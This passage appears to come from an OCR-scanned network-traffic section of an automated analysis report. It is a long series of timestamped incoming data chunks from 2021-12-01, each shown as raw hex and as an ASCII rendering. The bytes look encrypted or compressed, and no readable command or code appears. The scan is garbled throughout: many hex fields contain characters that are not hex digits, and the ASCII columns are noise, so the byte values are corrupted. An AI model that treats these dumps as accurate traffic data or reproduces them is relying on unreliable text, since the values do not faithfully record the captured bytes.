2a 08 4f 72 90 d0 bd e2 6b 8c 2d 8d 44 b0 55 39 6b 92 2d 2e 07 64 75 a8 e6 f2 c0 49 af 03 69 b2 85 e6 81 26 14 07 a2 ef
78 07 cb d0 b8 6¢ a0 b6 {7 ba 86 90 f7 7f bc 47 74 bb e7 91 70 70 02 fO ca a5 fa 94 08 a4 09 e7 cf a7 c2 f9 5a 9b 54 c1 c4
93 c7 ad 2a 59 df 5¢ 97 cb 0a 66 ae ff ab 92 7a 3f fO 7e 14 45 4f e9 c¢3 12 a8 d8 c5 71 f1 cf Ob bc 06 92 1e e2 26 41 b9 bc
82 cl a4 6e 7e e7 f2 00 50 03 3a 0d d4 Oc c4 c0 2b f0 2f 4a 69 31 27 c4 d3 60 b2 74 19 25 30 b9 1d 3b c3 4d 6a a4 a3 8b
b0 64 a0 57 73 7d 40 Oe 60 ab f3 64 e0 5 e2 ed bd 31 3d 81 b6 68 f1 b7 c8 ba 20 04 36 15 4fal 42 dd 14 77 73 b7 19 el
24 8 6e f8 ch 98 6b 11 66 €8 88 e6 a7 65 4f bf

Data Ascii: )VSc-L]ExIYIg *Ork-DU9k-.duli&xIGtppZ T*Y\fz?~EOq&AN~P:+/Ji1"t%0;MjdWs}@ d1=h 60Bws$nkfeO

2021-12-01 08:15:22 UTC 1061 IN Data Raw: 87 4c 08 5¢ 0d 85 16 ee c1 41 f2 Oc 4b 00 33 fd Od a8 fc e7 7b 47 79 fd 8a c5 65 5e 10 3¢ 87 e5 a0 d1 71 43 94
92 03 70 ca df e2 50 65 Oe 1a a9 30 a7 69 09 81 9b 87 f6 15 d1 3c 40 cb b7 2e b2 1d 82 df fb db 67 a9 3c 7e 69 7a 3b f2
8a 42 1b 07 01 38 6f fa 2 f6 48 1c 2f aa 40 4c 62 15 46 1d cb 88 fa 5d b5 91 31 c6 3e 56 a0 3b 9f 90 ¢3 05 cd 40 6¢ 07 5b
71 7b ab 71 5f db 6a da 5¢c 71 6b f5 b9 62 48 {7 be 54 9e 9a 40 00 f2 7c dc 2b d4 28 83 db 79 44 d2 32 81 c5 c1 59 9b eb
le b4 9f 81 b3 34 8e 93 75 07 74 aa 07 31 6e d5 43 f8 7c 1a 3e le f2 0a 35 aa 5f 46 2a e3 ef d0 5¢ 25 3a 99 fc a7 5 b2 {7
efe7 cd ec 86 35 8f 51 07 d2 50 59 63 cf a4 63 dd 41 d4 6a 13 3e a6 c9 2a dd d9 ca 7c 38 23 36 b2 62 73 aa 90 f2 be 5a
€0 06 06 7b 0f 8d f1 70 al c8 b8 5d 92 2c f1 88
Data Ascii: L\AK3{Gye"<qCpPe0i<@.g<~iz;B80H/@LbF]1>V;@I[q{q_j\gkbHT@|+(yD2Y4ut1lnC|>5_F*\%:5QPYccAj>*
|8#6bsZ{p],

2021-12-01 08:15:22 UTC 1077 IN Data Raw: 34 2e 8c 92 eb b3 7a 49 ec 8b 03 80 07 62 15 6a 3f 39 87 6e ef 0a 67 57 95 99 97 59 f2 cc b2 ba ac d7 83 e9
4502 87 9c b1 96 48 9b 2b 18 f2 b3 f1 65 cb d9 ea 9e 56 f9 ee 62 c9 d8 al db 97 ac 6¢ 64 17 64 ae f9 43 23 a0 c8 86 64
13 bf c9 2f a5 b5 e8 04 7b 35 f0 a3 17 4e 91 33 93 1e e0 66 1a 89 37 Ob df 56 5¢ 93 Oe d4 21 b3 f9 31 14 78 3e 0d d8 e7
d5 c9 e7 3a 87 cf d4 45 bf a8 25 9e 8f df 7d ab dc bc el 55 1a 24 1a 56 24 63 42 02 96 47 a3 fe 16 f8 27 8b 5¢c 28 2d b0 99
35 7e 8c 44 49 14 2b 47 35 48 7d b2 63 73 94 79 8 d1 92 30 b8 34 8¢ 08 5f 34 24 1a 63 57 b6 28 8e cc ec c3 ba 5d da 4a
67 f5 8f 3c 6e 47 f6 23 b4 51 95 46 50 c4 69 7e a8 01 6¢ 1b b5 70 91 82 35 ad c5 cc 81 2d 82 93 7f 4f ac 40 73 03 ba ae
bd e7 9f €6 92 bb 90 72 f2 al ee 4b 02 1b b4 63 7c 34
Data Ascii: 4.z1bj?9ngWY EH+eVblddC#d/{5N3f7V\!1x>:E%}U$V$cBG'\(-5~DI+G5H}csy04_4$cW(]Jg<nG#QFPi~Ip5-
O@srKc|4

2021-12-01 08:15:22 UTC 1093 IN Data Raw: 26 85 e0 76 5e 24 71 28 b2 1c b6 d5 99 1b 7f 87 6 f5 42 26 da 59 19 60 7e 9a 0f 42 b2 6f 6b fd 1d 1d 3b f4 Oc
le 8af9 e0cd 41 ed 52 43 28 dc 75 95 Ob e1 07 42 cd 67 1d 82 95 3a eb 02 72 1c b7 99 24 30 3f 5e 2a 3b 75 b6 d9 da be
8a 8c fb 22 af 9d 18 0f 05 37 db 8f fb 3b 36 8 af f8 90 b6 51 e3 5¢ Of bf Ob be 8 ca f5 91 d5 4a 14 35 0a 72 75 d7 e0 02 8f
3fb8 22 1b d8 00 e6 33 c1 56 6a 83 a8 a0 f5 97 52 c5 a6 e0 €9 25 99 b5 d4 9a al 2c 53 61 Oa d6 fc 67 5c dd cb 92 8e 78
a2 96 ¢4 49 80 06 18 ae 43 12 5b c1 74 6¢ a4 84 c3 1f ea b3 Ob d2 cf 4b aa c3 b9 1e 31 36 6b fe 44 6b 8b f0 09 08 7a Oc
90 d0 b9 fa c5 52 5e cf 84 7e 10 54 a6 ¢9 1d cd d3 59 a9 d2 0Oa af 7d 35 37 3c f5 95 97 6¢ 7b ac 5e 5 ed ae 13 05 43 6d
a3 de b6 15 ca 87 ec 75 cd 02 78 af 92 bb bd aa
Data Ascii: &"$q(B&Y ~Bok;ARC(uBg:r$0?/*;u"7;6Q\J5ru?"3VjR%,Sag\xIC[tIK16kDkzR ~TY}57<{"Cmux

2021-12-01 08:15:22 UTC 1109 IN Data Raw: 63 bb 67 3e 44 6d 9f 34 94 b2 74 ca 59 37 75 eb 3d 91 4f 87 bc 13 ¢2 09 de 5d 27 d3 19 c1 8¢ 3b 28 e7 ae 8c
de 46 dc 29 8a 4d e6 bf 01 d5 6b b3 81 4a 1c 95 d5 70 8c a4 4b 2b 47 89 4c 40 88 d1 f8 37 a7 77 34 7b d3 40 30 68 82 fe
d6 f3 6e 7a 63 4a 8f c9 ec ac ee 5a 4a b6 f1 f4 06 98 73 68 79 f2 82 c5 83 32 ae 62 bf a7 88 ff 40 bf el c3 0Of 07 8f 96 88 fc
2828 25 17 8a €9 03 f7 ba a4 10 93 eb fc 43 4d 47 8 b9 eb ¢8 5d b2 2f 9 dd 5e a4 f8 29 51 0b 3a 24 59 34 fc 90 7e 57
1c ba 41 f2 b5 7a cd 11 3c de 5e bb 3b 41 3c ba f0 08 7e 61 a8 ec 79 f5 82 2d c2 ef 03 2a 4d eb 54 58 0a €9 ae 78 c7 7f
79 bb 01 e3 6¢ 49 fe 1a 3c fO fc 5¢ cc bd 10 79 0f b0 17 c0 4a 85 fe f7 aa eb 83 87 ce ¢5 41 5c ¢4 2¢ 80 e6 64 f3 87 36 39
a7 4e f2 39 67 40 dc 0a 9c ab 33 73 7d bc 49 b7
Data Ascii: cg>Dm4tY7u=0]';(F)MkJpK+GL@ 7w4{@0hnzcJZJshy2b@((%CMG]/")Q:$Y4~WAz<NA<~ay-*MTXxylI<\yJA\
,d69N9g@3s}

2021-12-01 08:15:22 UTC 1125 IN Data Raw: 88 74 6b 29 90 74 a5 cc 11 8f 87 13 14 a9 78 51 fb 5e 50 99 08 {7 a6 bf 27 9c 6a 76 al 56 7a le Oa f2 26 f4 3b
e2 33 26 47 89 fc bf 5e 74 32 13 8b e0 29 4c 3b 78 ce 51 2d 3d 5a 7b d7 bb 7d 12 88 d4 37 b2 94 65 4e cc 91 4e 95 61 fe
cd 7b d4 el 4d 8d fb 95 25 db 54 da d1 64 2a 24 f5 e9 6d 2f d0 59 d9 6¢ 8b 69 92 66 f3 12 99 06 de b5 e4 28 b2 87 90 cO
08 3f 95 1f 40 7b d5 8b 5e d3 be 27 22 ad 12 2¢c 20 89 96 17 72 f4 e4 e7 5f 14 5f 6b a3 6b a9 17 f7 17 b5 28 79 d1 9e 4b fb
dO 2e 3d 24 7b 4d a9 00 fO d2 37 ce 3e da 06 2b 96 78 42 64 f8 10 74 79 09 c1 4c cb 6e 61 ad e6 62 b2 c6 70 5a fd 68 20
10 ae 39 b9 4f 9b 34 14 52 4c cb 74 d5 ea 87 61 7b 7c 05 ed 1d bb 18 e9 36 11 bd 22 99 fe 85 3c 53 8b ce ae fa 96 c0 d5
b4 86 d6 37 b5 e4 7f ab 77 dc ef e6 8d 9f 46 de 49
Data Ascii: tk)txQ"P'jvVz&;3&GM2)L;xQ-=Z{}7eNNa{M%Td*$m/Ylif(?@{"", r__kk(yK.=${M7>+xBdtyLnabpZh 904RLta{|6"
<S7wFI

2021-12-01 08:15:22 UTC 1141 IN Data Raw: 1a 6 a4 15 91 1f d6 38 c1 de 20 1c 23 97 9b ec 21 60 77 83 53 95 4f 22 a7 95 13 37 3d bd 61 75 df 69 d4 c3
¢5 a9 56 4f bc £3 9b 8c €5 1d 96 bb 83 71 2a 60 15 12 79 30 b4 88 f2 4e ff 4e fe 4d 55 2f ¢5 6f 4b da 1b 3b e4 a2 76 9e 56
4e 94 89 9c 3e d3 68 14 93 a2 af 22 b6 41 8d db Oe ed 91 1c d8 3b 44 1f 04 bf 22 91 85 d7 09 1e 46 e2 16 68 75 39 38 dd
1b c7 ¢5 e4 16 ¢4 17 4b e7 al f9 27 06 df 63 bc d9 dc 61 b7 d5 10 87 d1 94 48 95 69 ed 73 25 7d 14 cb 75 60 5a ec d7 96
77 1f 30 50 24 83 16 4f e4 cb 44 df 7d 9c 38 fe de 08 5e b6 ba 79 22 ¢9 ed 3c 4a el 80 7d 4e b0 52 d8 5f 2b 21 12 73 c8 79
79 d4 3f df b3 c5 d0 e6 15 23 60 8¢ d7 bc ca 29 3f 40 ab fe aa 08 3b 9f ¢7 83 73 9f d8 62 0d 4a 2f 4b 22 0a 15 c8 2f 7f c4
84 25 1b ad a2 0f 5e e5 b2 df 32 3d 93 c0 5e 5
Data Ascii: 8 #I"'wSO"7=auiVOg* yONNMU/oK;vWN>h"A; D"Fhu98K caHis%}u ZwOP$OD}8 Y "<JINR_+Isyy?#)?@;sbJ
IK"19%672=N

2021-12-01 08:15:22 UTC 1157 IN Data Raw: 63 37 6f 9b 6e 8e 37 4f f2 d1 e0 f0 df 8f 86 50 c6 dd c2 64 5d a7 bb 2f 8f 14 cc 70 55 9f 7d 56 b4 f8 02 8d c5 6a
b6 7d 85 67 4d al 43 9e ff 93 f6 b7 7e 38 3a 3f b7 44 4b ea ab 64 74 86 54 c0 e5 fb 3a 80 dd c3 8¢ 9c ec 54 a5 23 18 b9
08 faf7 61 c8 de 07 18 28 78 ¢7 23 07 89 59 49 20 20 a3 19 fc bb Oc 12 40 fa 7c a9 d1 42 b3 c7 Oa 1a be 8a 7a 3f 1c 3b
6a 37 77 13 69 6a 12 51 61 fa b6 59 cf af ad 45 f6 b9 b4 9c 5a f8 c3 9f e0 ac b4 20 55 cb c2 02 40 ad 4e 2f f4 33 96 c3 b0
71 d0 28 1c 59 d8 ce 3d a8 b8 1e d1 bf 92 f8 37 d0 7c 6d 9c ce 00 a9 11 6d de 20 20 6d 46 55 61 56 93 e0 b9 08 f9 f3 9b
la 5e 53 b0 5b cd d3 7d e0 be 2a 9b 86 Ob 11 56 73 f3 ca c3 b5 73 5a 57 25 5a 89 14 fd 2f 9a 63 58 {7 8d 03 d5 45 b4 d8
23 0c 8b 30 f5 05 1d ea 95 95 fb f3 78 5f dO e
Data Ascii: c7on70OPd]/pU}VjlgMC~8:?DKdtT: T#a(x#Y| @|Bz?;j7wijQaYEZ U@N/3q(Y=7|mm mFUaV/S[}*VssZW%Z
JcXE#0X
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kBytes
Timestamp transferred Direction Data

2021-12-01 08:15:22 UTC 1173 IN Data Raw: b9 93 07 aa f6 83 5b 96 f3 53 61 55 80 9b c6 de 8a f1 40 f4 fa 00 Oe c3 53 f4 99 00 2b 7d 62 d8 63 74 f6 c6 4a
88 10 f4 3a 95 9d c4 b6 08 4c 3a 26 a6 5e e3 2a cl 9b c1 50 2e 77 d8 07 {7 61 8e Of af Ob 78 39 bb 03 a2 b2 49 f5 1b 21 2
a7 8d 7b 8e f2 b2 86 af 21 ac 62 79 0d c5 8b 62 57 dc 41 1c 8a d1 8a bf ea 30 84 4f a5 87 2d 2b 80 8¢ e3 ed 7b 1f f5 8a bf
a0 5f 89 a3 dd 83 fa e5 c1 ec de a5 7d 5¢ ca 8c 03 10 04 fc 6d 22 c3 2c a2 ea ef d3 99 ac 13 6e 90 cc 56 84 d4 91 20 47
d9 5d 10 44 64 1d 24 a3 58 10 39 32 6a be 2b d1 a8 08 fd f7 53 f8 fc 53 fd 17 f8 cO ce 44 ed 31 a3 c¢5 b7 ab d2 d1 37 e6 ac
2e 2f 6b c1 09 aa df 56 1b 33 a7 98 1a 2e ae 75 4d 21 fc 7e de e6 05 b3 4f da 2a 36 71 53 1le 32 69 af 54 9b 28 26 48 8f
28 20 ec 70 5¢ fa bc 60 62 4f Oe 92 8a 8b Of
Data Ascii: [SaU@S+}bctJ:L:&*P.wax9l!/{!bybWAO0O-+{_}m",nV G]Dd$X92j+SSD17./kV3.uM!~0*6qS2iT(&H( p\'bO

2021-12-01 08:15:22 UTC 1189 IN Data Raw: ce 73 e2 23 cc 35 f9 cb 58 al 2d 14 7b e9 5f 5d b4 c¢5 b9 e3 68 08 68 3 b9 f0 8d da ad 60 31 e8 db cf 6f 72 12
97 8f d2 52 b1 Oc 2e 07 0d 3a 21 b8 ff 4e 87 3c 51 a8 3e 4e aa 99 54 2f 1d eb a2 a2 Oc 12 55 49 f6 a0 79 93 77 91 af 0d
c0 b2 f5 68 ec f3 b0 6¢ fd Oe 6¢ c5 da 1e 59 06 10 03 58 ae 13 c4 c9 77 8¢ 87 e3 c1 bl c2 al 08 19 bd 0d 76 6f ea 8c 3e
ab a6 a7 f5 af f5 35 06 ef bb bf 5d 29 12 df f5 eb 91 3f 98 80 70 2b 1f c5 Oc 76 32 55 08 97 22 38 d4 2e b4 0f 77 57 aa 7e
94 02 03 9f 57 dd be 32 62 2b c8 e5 Oe 8f ef a4 83 40 fe 91 d3 b0 3f fd 47 30 71 56 af ce c2 73 59 19 75 6d bd cd 03 d9 35
08 27 85 08 57 ee 9f 54 9e ec 27 23 c0 bd 02 10 cd 12 70 87 a0 58 84 49 5b 97 e5 07 da 56 31 1c 38 3 6e 18 e6 c5 d6 d4
ce al 5b 04 76 5a aa b2 73 c7 2b 24 15 d9 c4 27
Data Ascii: s#5X-{_]hh"1orR.:!IN<Q>NT/UlywhllYXwvo>5])?p+v2U"8.wW~W2b+@ ?G0qVsYum5'WT #pXI[V18n[vZs+$'

2021-12-01 08:15:22 UTC 1205 IN Data Raw: 41 a4 da bb 7d 2d dc df Of c4 75 25 af 1d al c8 b6 67 67 5f 77 74 6e 24 da b2 17 cb ¢7 89 37 19 98 55 f6 34 ae
03 a3 fc 1e 7e 16 7c Of 35 6¢ 86 15 c8 e6 f6 77 €7 17 ¢8 1b 99 10 bd 71 41 69 39 24 d3 ff 91 4f d3 66 Oc f3 10 20 47 72 cb
06 Oe fd ca 8f 2d 65 63 ec fd 56 f5 a7 fc b7 c8 Oe 7e 03 3f 63 82 41 a6 e4 3b 67 58 34 fc 49 4e 18 cf dO 17 bd 30 df 8a 68
a8 50 dc 4b b4 8e 6f 75 fd 9e 0d f1 eb 71 4f f6 cd 22 1d 39 29 84 85 al f5 d5 8e 5a 8e 6¢ 32 02 a0 el 3c 11 49 cf 6d 23 46
b9 ff 7f a7 5d 76 7b ae 8e 1a Ob af 83 96 1e 11 87 4f 49 68 42 3c f8 5d b7 6d 00 33 de 02 49 55 fe €0 19 80 6e de da 02 26
94 20 1f 58 f4 8a 5¢ c2 57 09 82 46 dd e3 5e de al 5b b5 fd 7b 92 40 e1 77 35 10 f9 cd dd 3e 87 b1 55 14 cd 64 a6 15 72
Oe 1f 68 82 2f c0 d8 f6 2c 23 05 35 7a 34
Data Ascii: A}-u%gg_wtn$7U4~|5lwgAi9$Of Gr-ecV~?cA;gX4INOhPKougO"9)ZI2<Im#F]v{OIhB<]m3IUn& X\WFA[{@w
5>Udrh/ #5z4

2021-12-01 08:15:22 UTC 1221 IN Data Raw: ce 88 72 b0 33 fe 71 e3 a6 dc ca ae 2c Oc 16 6e d9 09 6f al ac ed 9c 19 0d 10 f1 9¢c 99 36 c4 16 53 97 6e c5
6b 79 fb e4 b7 08 fa 32 70 bd ab 1b 99 33 42 eb d1 ac 3f 43 10 81 42 cc a0 c5 30 8b bc 59 cb Oc da 26 43 cc 56 52 c5 23
7ac6 75 4e d4 82 el 04 c2 8¢ 51 48 Oc 5a 2e b6 98 f1 5e c2 e3 3c b5 1c ec b8 06 46 60 f5 e4 88 35 49 2b d8 74 38 6f 66
dc ff 08 7a 38 39 af bb c6 4b ce a0 6¢ b1 b0 d9 4e 7c 9d b4 Oc be 13 df 71 23 Oe 08 f1 5d 5f c4 b7 d2 f0 26 92 6e 67 9a 7f
6d ce 81 35 5e 6a f1 9f 7d 79 8e 67 fe fc 3b 9c 34 8d 77 40 8b a5 d5 7e 22 7a a0 6d Oc le c5 49 df 88 b0 22 86 2a 52 7f 88
a5 3e 85 48 44 8e €9 6d bf 4e 1b dd c¢8 10 b6 91 de al dO 7a d2 f5 de df a8 27 69 c6 ef ad 58 df f5 45 7a ef 35 ca 22 23 05
80 ee ed 60 cc 09 4d 4b 08 27 6d 79 90 8c 39 75
Data Ascii: r3q,n06Snky2p3B?CB0Y&CVR#zuNQHZ.A<F 5|+t80fz89KIN|q#]_&ngm5/jlyg;4w@~"zmI"*R>HDmNZz'iXEz5
"# MK'my9u

2021-12-01 08:15:22 UTC 1237 IN Data Raw: ce 20 a2 ce b4 c6 ae cb 72 00 03 Oe al 4a c4 c0 32 ea 8f 04 10 63 11 86 Of 3b fe a2 3a d8 f7 8¢ 97 13 ed 23 al
56 a3 56 dc al e7 6¢ cd 77 55 55 71 ba 0a 26 94 44 9d b6 29 be eb 36 13 b4 c1 85 a6 44 23 fa c5 31 05 65 bb 22 90 c8
94 bf 52 a8 €9 09 4e 97 b3 €9 86 ee db 6a 9e 69 df 48 bd 32 13 fb d6 31 a7 9b f5 6e c7 4f cb 93 52 76 84 e0 74 d4 88 ac
b3 12 79 f8 7e 7b 5¢ d3 72 8¢ ec c4 74 af 80 f3 64 b2 d3 1f 0d 04 5¢ 22 81 6¢ 5f 34 8c d9 e7 el b4 6e 4c d7 d9 96 dc 3d 0z
d6 d0 d7 01 80 8d 46 40 97 3c 1a 77 bl 1c 15 ff af 74 51 04 1le 7e 71 65 a2 32 ba 81 3a 07 cb 42 6b 21 5 1f 8e 71 6d bb
2c 7c d5 d7 66 34 7a c2 36 c8 04 8b 94 22 {3 d0 fa 5a ad 34 22 2b 21 Oe 54 fd 79 2d c7 ad 48 ef bc 04 49 1a eb bf b4 88
e50e 5171 c4 83 e3 68 f4 bd 78 ca 20 12 c6 1f da 9a
Data Ascii: rJ2c;:#VVIwUUq&D)6D#1e"RNjiH21nORvty~{\rtd\"|_4nL=F@<wtQ~qe2:Bk!qm,|f4z6"Z4"+!Ty-HIQqhx

2021-12-01 08:15:22 UTC 1253 IN Data Raw: 24 22 d2 39 ce d6 f0 67 f6 2a 92 1d 79 7b 98 f5 9c 01 18 61 6d 51 15 b8 3c db c8 el 8e cd 43 d2 82 76 c1 c5 7c
6 72 f3 2e b7 66 ad 1c b4 d9 f5 e6 5b b4 43 d4 31 54 e6 2e 46 c2 4d c9 1d 2c 14 fb 02 3d a6 20 f9 79 d2 5c ¢8 70 a8 54
6d 9e bc 81 27 ac c0 6d 01 97 bb ca 4f ef 87 33 0f b4 26 24 a2 61 0f ¢7 16 02 10 38 66 ff 22 30 8f 17 c9 c6 1e 64 d5 27 99
38 0f 6a b2 33 62 71 9f 2a 8b ff aa 7e 66 al 7b 12 15 48 f3 eb 09 dc d0 10 91 f9 ae ec 19 dc 0a 30 €0 cd 5¢ f1 a2 13 d2 73
6b 81 4f 51 Oe 3c 27 35 94 78 a3 48 22 ef d9 8a 9e 77 56 29 7a 71 08 3f 65 cb e9 al 26 1c d4 be 76 60 8e 53 45 3d 38 Oe
cf 7a 4124 31 73 f4 80 42 €5 62 9d c2 92 92 ac b4 d6 b9 6b 8f 11 55 73 83 3b ed 7c 99 63 b5 ed 67 49 62 63 2c 5b bd 18
d4 cc 8a 7f 22 54 02 75 3b 07 85 e4 bc 2b 65 12
Data Ascii: $"9g*y{amQ<Cv/|r.f[C1T.FM,= y\pTm'mO3&$a8f"'0d'8j3bg*~f{HO\skOQ<'5xH"WV)zq?e&v SE=8zA$1sBb
kUs;|cglbc,[*Tu;+e

2021-12-01 08:15:22 UTC 1269 IN Data Raw: b5 45 86 f3 6d ef 05 €9 88 19 8c 74 ab 2c 84 d4 03 48 ac b0 17 3d ab 0d 02 f4 10 b0 b3 d4 d6 5e ff 77 el 04 a4
8f d4 d5 c5 6¢ 86 d8 3d d9 18 b6 c9 81 32 85 7a 40 6¢ 4a 59 91 Of b0 4e a0 fO 6d 16 93 e7 44 al f3 a3 bb 53 f0 fc c8 b9 92
c8 87 f2 7a 1c 8a 42 6¢ 32 80 6f 85 9d 2e 3e d9 56 1a ce 44 c9 05 d4 38 79 5f 3c 18 37 3b 7c eb 2a e3 e2 26 4f 5¢ fe dd
bc 76 52 51 d4 95 fb b0 40 ef 60 bd Of ff 71 ac 34 a0 9a 2d 99 bf 4e 17 5a 30 ed 65 d8 99 el 30 71 a4 50 28 89 3d a2 e5
2c af da ab f4 46 d0 59 55 33 3f 33 57 9¢ bb 30 30 e4 d3 78 b5 f5 f7 e2 98 37 55 1f 2¢ bc 71 73 1c ce a2 90 16 2b f3 ff b6
ad 0a 34 1b 2d 66 da c3 9a 3f af ee 5b b2 e2 fa d5 69 3d 9c 87 16 a0 d3 b2 b7 fc 7b 69 78 78 cf 22 6b a9 56 b3 c3 fc 14 21
82 9e 07 42 4d 8a b7 ea 6¢ 3e d4 45 6a 3b c5
Data Ascii: Emt,H="wl=2z@!JYNmDSzBI20.>VD8y_<7;[*& OWRQ@ q4-NZ0e0qP(=,FYU3?3W00x7U,qs+4-f2[i={ixx"kV
IBMI>Ej;

2021-12-01 08:15:22 UTC 1285 IN Data Raw: 93 66 9a 91 e6 a2 aa cd eb 79 e3 12 c9 28 8b 00 2a 75 48 ac c0 d4 d9 b2 0a 78 2d 56 1f a2 ac ff a0 96 c5 1le
43 ea 89 b3 a7 46 62 d6 f2 5e 52 6b 01 Oc 9e 47 e6 1d 50 eb 6¢ 6a b8 ab 84 f9 57 17 9a fb d3 8a df 09 01 39 c6 14 €0 fe
2478 27 c6 b4 7f 16 b8 c1 dd c4 1a ae 1a 19 78 27 a9 03 27 76 61 e2 8d b5 df 2d 23 15 6¢ 03 96 2a 59 06 ff 32 e0 a0 c6
a6 ea f8 36 aa a6 47 a6 12 12 02 7e bc 7a 63 97 ¢5 dc 0d e4 a3 2f 23 fa 81 49 5e ec ef al de 87 22 d3 d9 07 Of bf fc 91 60
31 83 bc 8a 31 49 5f e4 45 33 51 d9 0f 91 40 19 32 30 2f c1 6d fa d5 e7 e4 b0 dd b9 6e 3b 8a 1b ee 93 40 d1 64 04 57 ae
5b 3e eb f4 f5 1d fc 7a fa d9 7b ba 56 af 82 90 f7 50 74 69 53 fa 3a 00 db 8e ab a8 08 7f 00 7d 93 3c 48 44 al ab 2f cc 79
ba 31 b6 a0 38 4d 22 26 73 73 01 a4 c9 8e 49 cc fa
Data Ascii: fy(*uHx-VCFb RKGPIjW9$x'x"va-#I*Y26 G~zc/#"" 11I_E3Q@20/mn; @dW[>z{VPtiS:}<HD/y18M"&ssl|

2021-12-01 08:15:22 UTC 1301 IN Data Raw: cf 68 3f fO 1e f7 29 04 d4 78 al 84 11 ad 16 2e 94 13 cb 43 c5 30 f0 29 a2 08 e2 6e 31 5¢ 73 ea 98 65 99 84 bf
da d5 19 8b 6b b7 d4 e3 58 bb 4f 96 47 d1 88 54 68 0d 8f 92 5e 32 20 07 d6 9e 37 5d 24 48 44 2b b6 5d d9 Of d4 68 26 96
82 94 09 d1 af 6d a0 93 d7 4c df 46 07 37 10 23 e2 32 00 06 bb Oe 5d 53 f9 23 3d 8e 74 e3 ce ee c2 de e5 a3 ac ¢4 81 al
28 43 73 b9 9d 6f 36 al 64 1b 85 db 64 28 c4 8e c8 7c e7 1f 4e 4d 4a b2 27 ed d8 66 €9 46 d1 29 b2 37 af 91 f4 53 16 cf
85 ed 29 7b fe a4 1b ae e2 ac €8 54 30 0a 90 ca 1d 87 b8 39 84 dd 6a 26 cd ba ee 11 b3 0d Oc 34 46 44 b8 6e 84 b2 a5
7070 9d 3f 6¢c a5 6a 72 7b 01 28 76 d7 a4 ae 66 a8 8d 95 09 da af 7a 1d 26 a5 44 54 b8 5d 28 c1 12 e5 fe 4e bf 07 da d6
b7 f7 c8 a0 5d 51 09 da 02 99 88 48 al a8 6¢ 85 Of 3a 43
Data Ascii: h?)x.C0)n1\sekXOGTh"2 7]$HD+]h&mLF7#2]S#=t(Cso6dd(|NMJ'fF)7S){T09j&4FDnpp?ljr{(vfz&DT](N]JQHI:C
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kBytes
Timestamp transferred Direction Data

2021-12-01 08:15:22 UTC 1317 IN Data Raw: b3 3f 96 e4 a4 ad b8 43 29 88 30 1b el 69 c7 1a 75 58 d1 64 5e fd bf 63 c5 ba a8 4b 33 f3 ¢8 63 07 27 92 ea
a4 47 0 4b 88 cd 11 8e 08 20 a3 bc ¢7 32 c0 b7 21 5b 06 02 8c f7 88 22 ad 93 49 c5 76 ee 10 27 fa 30 cc Oa 17 69 60 62
8e 57 3c 45 d9 a5 26 24 16 a2 a3 7d ad ee b0 6f 81 d7 8f 4d 4d 8b bd c8 a0 50 ab 5d 77 ¢8 75 4d d7 d5 f0 fb 53 e7 e6 27
be c4 64 da 1a 3c 0f 73 6f a3 a5 53 bd 1b 09 fa 9b 2c 7d 1a 72 c9 5e 3 58 2a 8c 3e a7 Oc 48 fO cc 56 3b 4d e5 2b 0d b9
85 14 b3 bb 2f 39 5 d5 50 54 a3 31 cd 1e 4d 83 97 30 0d 54 ac 45 4b ac cf 48 fd 1f dc 5¢ 65 39 b3 59 1b df e5 29 3 b0 c6
d6 e7 7d el 54 Ob e3 ff a6 7e c¢9 Oc 6d 9f 17 a0 02 7c f3 05 9b 40 e3 c9 7 9e cl 8f 7f 04 78 38 cf bf 57 de 55 fd aa 80 9f 5b
27 79 46 6a 53 68 5e 61 66 c8 ae 38 78 2c ac aa
Data Ascii: ?C)0iuXd"*cK3c'GK 2!["Iv'0i bW<E&$}oMMP]wuMS'd<soS }"X*>HV;M+/9PTIMOTEKH\e9Y)}T~m|@x8WU[
'yFjShhaf8x,

2021-12-01 08:15:22 UTC 1333 IN Data Raw: be Oe 45 88 aa a7 70 a3 7e eb 6d ed 4b bc 75 f6 f2 a4 63 e3 d6 fe 52 4b 89 89 d2 ed 43 da b4 1a 6¢c a7 db 76
b1 94 23 c9 d0 92 90 7f df 7c 98 ab 8d b5 99 63 5¢ 7f aa 6a 84 70 cf 5e 34 91 e7 51 eb 36 ad 70 5b cb 88 1c a4 1d 03 39
16 24 6b 35 b1 4c 75 04 a0 Oa bc e7 a8 78 €3 29 c¢6 db 9b 9c c0 8b al 93 29 00 05 7b d7 26 2b f6 2f 80 2b 70 60 f2 18 00
b6 ec cO fb 43 96 a6 e5 19 e2 5d 4d 9b e4 e4 {8 d4 bd 1d ce 5b 46 46 69 c8 66 cO b5 42 f1 7d d9 89 44 c5 f3 1a a4 84 2c
76 eb c7 df 36 18 f4 06 a0 6f cc 54 48 8e 7e 32 e7 47 d9 d6 f6 1a 8d 91 fe 02 9d 96 d3 33 57 €3 11 80 e7 68 ed 8c 95 fb
1d 3f 31 bb 2e 82 6f 85 77 85 71 25 f9 7d 98 1d 15 31 2e 86 4f 41 56 €0 6¢ b5 c5 04 58 d5 8a 34 ae 92 ff ff fd 41 d4 cd 6a
fe 83 12 da e8 52 d2 53 ea 04 40 e7 50 b3 2e 8d bf 6e
Data Ascii: Ep~mKucRKCIVv#|c\jp"4Q6p[9$k5Lux)){&+/+p  CIM[FFifB}D,v60TH~2G3Wh?1.0wq%}1.0AVIX4ARS@P.n

2021-12-01 08:15:22 UTC 1345 IN Data Raw: 98 1b b3 0b 32 68 3d 3a f2 00 98 87 41 e3 11 a8 3c ac cd 03 c7 2e 5c 4e 7f 84 9a 5a f4 91 a5 6a c7 0f 82 c¢3 3d
8c ea 5d 1d 85 44 92 9d f3 01 e8 77 8¢ 44 10 11 ba Oc 2a e7 c8 €8 c9 e6 bb bf 45 05 dd c9 el 92 ac 9d 79 07 Ob 81 f2 41
ef 2c Oe 10 14 dd 0d 88 f3 ca f3 ee 87 5a 44 fd 00 d6 81 19 b2 d7 e9 35 cf e2 29 14 a7 40 €9 12 fd 07 26 6e 2a f3 f4 70 14
2b eac6 3156 0d 24 07 e2 29 11 8c 9e c9 45 a8 a9 c0 e3 €0 01 91 a2 eb 53 al b8 b7 3f bb d8 cc 45 e8 fa d2 c5 60 a7 2b
20 9e cc 1c 28 84 33 b1 c8 de 44 e4 7a ce 86 ff 4d 10 fa dd 54 be 8d 63 b2 8e cd c7 8b 88 49 23 8c de 4f 55 bb 99 c2 f0 c4
5b 91 d0 66 c5 22 7e 1a 67 35 9b ca 49 af 6d 38 b3 05 f9 ab 46 65 2c 03 ¢3 62 89 €7 53 7d 97 ad fd b5 97 6¢ 15 bc Ob 49
